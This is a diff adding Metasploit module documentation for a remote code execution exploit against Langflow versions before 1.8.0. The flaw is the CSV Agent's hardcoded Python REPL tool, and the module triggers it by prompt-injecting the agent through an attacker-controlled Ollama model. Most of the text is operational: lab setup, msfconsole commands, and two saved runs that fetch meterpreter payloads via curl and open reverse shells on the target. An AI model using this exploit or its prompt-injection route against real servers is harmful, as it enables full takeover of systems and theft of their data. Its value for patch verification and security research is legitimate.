|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, |
| 4 | +which automatically exposes LangChain’s Python REPL tool (python_repl_ast). |
| 5 | +As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, |
| 6 | +leading to full Remote Code Execution (RCE). |
| 7 | + |
| 8 | +The vulnerability affects: |
| 9 | + |
| 10 | + * Langflow < 1.8.0 |
| 11 | + |
| 12 | +This module was successfully tested on: |
| 13 | + |
| 14 | + * Langflow 1.7.3 installed with Docker |
| 15 | + |
| 16 | + |
| 17 | +### Installation |
| 18 | +1. `git clone https://github.com/langflow-ai/langflow.git` |
| 19 | + |
| 20 | +2. `git checkout 1.7.3` |
| 21 | + |
| 22 | +3. `cd langflow/docker_example` |
| 23 | + |
| 24 | +4. `Edit docker-compose.yml` |
| 25 | +``` |
| 26 | + services: |
| 27 | + langflow: |
| 28 | +- image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow |
| 29 | +- pull_policy: always # set to 'always' when using 'latest' image |
| 30 | ++ # image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow |
| 31 | ++ image: langflowai/langflow:1.7.3 # or another version tag on https://hub.docker.com/r/langflowai/langflow |
| 32 | ++ # pull_policy: always # set to 'always' when using 'latest' image |
| 33 | + ports: |
| 34 | + - "7860:7860" |
| 35 | + depends_on: |
| 36 | +@@ -11,7 +12,7 @@ services: |
| 37 | + # This variable defines where the logs, file storage, monitor data and secret keys are stored. |
| 38 | + - LANGFLOW_CONFIG_DIR=/app/langflow |
| 39 | + volumes: |
| 40 | +- - langflow-data:/app/langflow |
| 41 | ++ - langflow-data:/app |
| 42 | + |
| 43 | + postgres: |
| 44 | + image: postgres:16 |
| 45 | +``` |
| 46 | + |
| 47 | +5. `docker compose up` |
| 48 | + |
| 49 | +6. `On an attacker machine` |
| 50 | +``` |
| 51 | +curl -fsSL https://ollama.com/install.sh | sh |
| 52 | +ollama run llama3.1 |
| 53 | +``` |
| 54 | + |
| 55 | + |
| 56 | +## Verification Steps |
| 57 | + |
| 58 | +1. Install the application |
| 59 | +2. Start msfconsole |
| 60 | +3. Do: `use exploit/multi/http/langflow_rce_cve_2026_27966` |
| 61 | +4. Do: `run lhost=<lhost> rhost=<rhost> ollamaapiuri=<ollamaapiuri> apikey=<apikey> model=<model>` |
| 62 | +5. You should get a meterpreter |
| 63 | + |
| 64 | + |
| 65 | +## Options |
| 66 | + |
| 67 | +### APIKEY (required) |
| 68 | + |
| 69 | +Langflow API key to interact with Langflow. |
| 70 | + |
| 71 | +### OLLAMAAPIURI (required) |
| 72 | + |
| 73 | +Endpoint of the OLLAMA API controlled by an attacker. |
| 74 | + |
| 75 | +### MODEL (required) |
| 76 | + |
| 77 | +Valid ollama model name. |
| 78 | + |
| 79 | + |
| 80 | +## Scenarios |
| 81 | + |
| 82 | +### cmd/linux/http/x64/meterpreter_reverse_tcp |
| 83 | +``` |
| 84 | +msf > use exploit/multi/http/langflow_rce_cve_2026_27966 |
| 85 | +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp |
| 86 | +msf exploit(multi/http/langflow_rce_cve_2026_27966) > options |
| 87 | +
|
| 88 | +Module options (exploit/multi/http/langflow_rce_cve_2026_27966): |
| 89 | +
|
| 90 | + Name Current Setting Required Description |
| 91 | + ---- --------------- -------- ----------- |
| 92 | + APIKEY yes Langflow API key to interact with Langflow. |
| 93 | + MODEL yes Valid ollama model name. |
| 94 | + OLLAMAAPIURI yes Endpoint of the OLLAMA API controlled by an attacker. |
| 95 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5h, sapni, socks4, socks5, http |
| 96 | + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| 97 | + RPORT 7860 yes The target port (TCP) |
| 98 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 99 | + VHOST no HTTP server virtual host |
| 100 | +
|
| 101 | +
|
| 102 | +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): |
| 103 | +
|
| 104 | + Name Current Setting Required Description |
| 105 | + ---- --------------- -------- ----------- |
| 106 | + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) |
| 107 | + FETCH_DELETE true yes Attempt to delete the binary after execution |
| 108 | + FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Ac |
| 109 | + cepted: none, python3.8+, shell-search, shell) |
| 110 | + FETCH_SRVHOST no Local IP to use for serving payload |
| 111 | + FETCH_SRVPORT 8080 yes Local port to use for serving payload |
| 112 | + FETCH_URIPATH no Local URI to use for serving payload |
| 113 | + LHOST yes The listen address (an interface may be specified) |
| 114 | + LPORT 4444 yes The listen port |
| 115 | +
|
| 116 | +
|
| 117 | + When FETCH_COMMAND is one of CURL,GET,WGET: |
| 118 | +
|
| 119 | + Name Current Setting Required Description |
| 120 | + ---- --------------- -------- ----------- |
| 121 | + FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell. |
| 122 | +
|
| 123 | +
|
| 124 | + When FETCH_FILELESS is none: |
| 125 | +
|
| 126 | + Name Current Setting Required Description |
| 127 | + ---- --------------- -------- ----------- |
| 128 | + FETCH_FILENAME yVhDYYwMmZm no Name to use on remote system when storing payload; cannot contain spaces or slashes |
| 129 | + FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces |
| 130 | +
|
| 131 | +
|
| 132 | +Exploit target: |
| 133 | +
|
| 134 | + Id Name |
| 135 | + -- ---- |
| 136 | + 0 Linux Command |
| 137 | +
|
| 138 | +
|
| 139 | +
|
| 140 | +View the full module info with the info, or info -d command. |
| 141 | +
|
| 142 | +msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payl |
| 143 | +oad=cmd/linux/http/x64/meterpreter_reverse_tcp target=Linux\ Command |
| 144 | +[*] Started reverse TCP handler on 192.168.56.1:4444 |
| 145 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 146 | +[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable. |
| 147 | +[*] Project: 367f399f-6f17-43a2-bea0-33183baae731 |
| 148 | +[*] Flow: 42098574-2343-4b8a-97fe-0e2800270087 |
| 149 | +[*] Job: 014b3154-e882-4649-9c16-5f25e4c358d9 |
| 150 | +[*] Waiting... |
| 151 | +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:59440) at 2026-04-18 12:31:49 +0900 |
| 152 | +
|
| 153 | +meterpreter > getuid |
| 154 | +Server username: user |
| 155 | +meterpreter > sysinfo |
| 156 | +Computer : d513d5e46402 |
| 157 | +OS : Debian 13.3 (Linux 6.8.0-56-generic) |
| 158 | +Architecture : x64 |
| 159 | +BuildTuple : x86_64-linux-musl |
| 160 | +Meterpreter : x64/linux |
| 161 | +meterpreter > |
| 162 | +``` |
| 163 | + |
| 164 | +### python/meterpreter/reverse_tcp |
| 165 | +``` |
| 166 | +msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payload=python/meterpreter/reverse_tcp target=Python\ payload |
| 167 | +[*] Started reverse TCP handler on 192.168.56.1:4444 |
| 168 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 169 | +[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable. |
| 170 | +[*] Project: 146bfdff-95cc-4e43-b0f2-dbdaa6916401 |
| 171 | +[*] Flow: 497484a7-6f39-4418-8113-aba0c2f57a3b |
| 172 | +[*] Job: 0e4282ad-bf9d-4079-891b-81a2ccb8dbe8 |
| 173 | +[*] Waiting... |
| 174 | +[*] Sending stage (23404 bytes) to 192.168.56.16 |
| 175 | +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:47988) at 2026-04-18 12:48:07 +0900 |
| 176 | +
|
| 177 | +meterpreter > getuid |
| 178 | +Server username: user |
| 179 | +meterpreter > sysinfo |
| 180 | +Computer : d513d5e46402 |
| 181 | +OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025 |
| 182 | +Architecture : x64 |
| 183 | +System Language : C |
| 184 | +Meterpreter : python/linux |
| 185 | +meterpreter > |
| 186 | +``` |
0 commit comments